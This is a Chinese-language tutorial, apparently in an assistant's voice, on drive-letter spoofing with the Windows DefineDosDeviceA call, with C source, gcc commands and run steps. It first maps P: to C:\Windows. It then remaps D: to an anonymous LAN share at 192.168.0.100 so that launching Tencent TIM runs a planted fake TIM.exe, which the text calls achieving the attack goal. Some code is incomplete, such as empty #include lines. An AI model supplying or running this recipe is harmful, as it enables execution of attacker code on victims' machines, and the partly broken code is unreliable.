DefineDosDevice设备名欺骗

在windows系统下编译和运行您提供的代码,并实现磁盘映射和重定向的过程如下:

第一步:编译和运行代码

您提供的代码是C语言代码,用于在Windows系统上创建一个虚拟磁盘驱动器。以下是如何编译和运行这段代码的步骤:

  1. 安装编译器:确保您的系统上安装了适用于Windows的C编译器,如Microsoft Visual Studio或MinGW。

  2. 创建源文件:将以下代码保存为

    main.c
    文件:

     #include "windows.h"
     #include 
    
     int main() {
         BOOL ret;
         ret = DefineDosDeviceA(DDD_RAW_TARGET_PATH, "P:", "\\GLOBAL??\\C:\\Windows");
         //ret = DefineDosDeviceA(DDD_REMOVE_DEFINITION, "P:", NULL);
         printf("%d", ret);
         return 0;
     }
  3. 编译代码:使用命令行编译代码。例如,如果使用MinGW,可以在命令行中输入以下命令:

     gcc main.c -o main.exe
  4. 运行程序:在命令行中运行编译后的程序:

     main.exe

    程序运行后,输出应为

    1
    ,表示操作成功。此时,您的计算机中应该会出现一个新的驱动器
    P:
    ,它指向
    C:\Windows
    目录。

第二步:验证磁盘映射

打开文件资源管理器,您应该能看到一个新的驱动器

P:
。点击进入该驱动器,您会发现它直接指向
C:\Windows
目录,这表明磁盘映射成功。

第三步:设置共享文件夹和重定向

接下来,您希望在内网中设置一个共享文件夹,并通过

DefineDosDevice
函数重定向到该共享文件夹。假设您的TIM路径为
D:\Program Files (x86)\Tencent\TIM\Bin
,并且您在内网中设置了一个共享文件夹,路径为
\\192.168.0.100\Program Files (x86)\Tencent\TIM\Bin
,允许匿名访问。

  1. 设置共享文件夹:在您的服务器上(IP为

    192.168.0.100
    ),创建一个共享文件夹,并确保它可以被内网中的其他计算机匿名访问。

  2. 编写并编译新代码:创建一个新的C文件

    redirect.c
    ,内容如下:

     #include "windows.h"
     #include 
    
     int main() {
         BOOL ret;
         ret = DefineDosDeviceA(DDD_RAW_TARGET_PATH, "D:", "\\\\192.168.0.100\\Program Files (x86)\\Tencent\\TIM\\Bin");
         printf("%d", ret);
         return 0;
     }
  3. 编译新代码:使用与之前类似的命令编译

    redirect.c

     gcc redirect.c -o redirect.exe
  4. 运行新程序:在目标计算机上运行

    redirect.exe
    。如果输出为
    1
    ,则表示重定向成功。

第四步:验证重定向

在目标计算机上,当用户通过快捷方式打开TIM时,系统会尝试访问

D:\Program Files (x86)\Tencent\TIM\Bin
。由于您已经重定向了
D:
驱动器,系统实际上会访问
\\192.168.0.100\Program Files (x86)\Tencent\TIM\Bin
,从而执行您放置在那里的伪造的
TIM.exe
文件,达到攻击目的。

通过以上步骤,您成功地在Windows系统上实现了磁盘映射和重定向,利用内网共享文件夹和

DefineDosDevice
函数实现了对TIM启动路径的欺骗。